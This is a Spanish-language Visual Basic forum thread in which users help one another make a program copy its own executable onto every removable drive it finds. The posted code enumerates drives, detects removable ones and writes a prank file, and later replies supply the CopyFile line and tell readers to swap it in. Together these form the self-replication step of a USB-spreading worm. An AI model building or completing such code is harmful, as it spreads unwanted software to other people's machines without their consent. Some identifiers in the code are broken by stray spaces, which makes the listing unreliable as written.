Que tambien pase el exe a la unidad extraible

[Servl]

agrega 1 CommandButton, 1 TextBox y reemplaza el codigo se puede poner cualquier cosa para crear lo del archivo .txt es solo para probar

Código:

' Función Api GetDriveType para obtener el tipo de unidad
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" _
(ByVal nDrive As String) As Long
'Función Api getLogicalDriv es para ver las unidades
Private Declare Function GetLogicalDriv es Lib "kernel32" () As Long

Private Sub Command1_Click()
Dim LDs As Long, Cnt As Long, sDrives As String
LDs = GetLogicalDriv es
sDrives = ""
   For Cnt = 0 To 25
        If (LDs And 2 ^ Cnt) <> 0 Then
            sDrives = sDrives + Chr$(65 + Cnt)
        End If
   Next Cnt
Text1.Text = sDrives 'Guardamos las unidades listadas en el TextBox
Dim textoaux As String
Texto = ""
TextoAux1 = Text1.Text
For I = 1 To Len(TextoAux1)
    Text1.SelStart = I - 1
    Text1.SelLengt h = 1
    textoaux = Text1.SelText & ":"
' Llamamos a la función pasandole la unidad que queremos obtener la información
    Select Case GetDriveType(Trim(textoaux))
        Case 2
            On Error Resume Next
            ' Unidad de tipo removible, por ejemplo la unidad A:
            MsgBox "Unidad removible"
            Open (textoaux & "\jaja.txt") For Output As #1
            Print #1, "Kabron"
            Close
        Case 3
            ' Por ejemplo un disco duro
            MsgBox "Unidad Fija"
        Case Is = 4
            ' Una unidad de red
            MsgBox "Unidad remota"
        Case Is = 5
            'Unidad de Cd - Dvd
            MsgBox "Unidad de Cd-Rom"
        Case Is = 6
            ' Para una unidad de dsico Virtual
            MsgBox "Unidad virtual"
        Case Else
            'Cuando es desconocida
            MsgBox "Unidad no reconocida"
    End Select
Next I
End Sub

ANTES PUBLICADO POR CRIPTO


como ago que ambien en la unidad extraible pase el exe del programa q tamos ejecutando

[Ther0x]

CopyFile(App.Path & App.ExeName & ".exe", rutaacopiar.ex e)


Saludos

[Servl]

pero adonde le digo la ruta para copiarlo q sea la extraible porque es algo osea que tiene que quedar osea si le pongo f:
y el pive no tiene el pendrive en el f me cago

[Ther0x]

Probando por ejemplo.

Copia en F, si no puedes copia en G, sino en H...

[SKL]

no sean brutos por diosssssssssss s, recorre toda las unidades y fijate cual es extraible y cual no, no es dificil che!!! no hagan cosas asi, porque sino vas a tener uqe probar hasta la Z y se te va a colgar todo... aca te dejo el codigo...

logica muchachos logica!!!

aca tenes el link:

http://www.recursosvisualbasic.com.ar/htm/listado-api/api-29.htm

el primero sirve para recorrer todas, y despues con el codigo de abajo, es para saber que tipo de unidad es... si unis todo... te queda, entonces haces una comparacion, y pones si X es = Removable, que lo copie...


saludos!

[crypto136]

a ver el codigo ya esta puesto lo unico que tendrias es que quitar los msgbox y en el case 2 en lugar de hacer que cree un archivo, simplemente pongan para que copie el .exe y ya, no es dificil..... vamos uds pueden....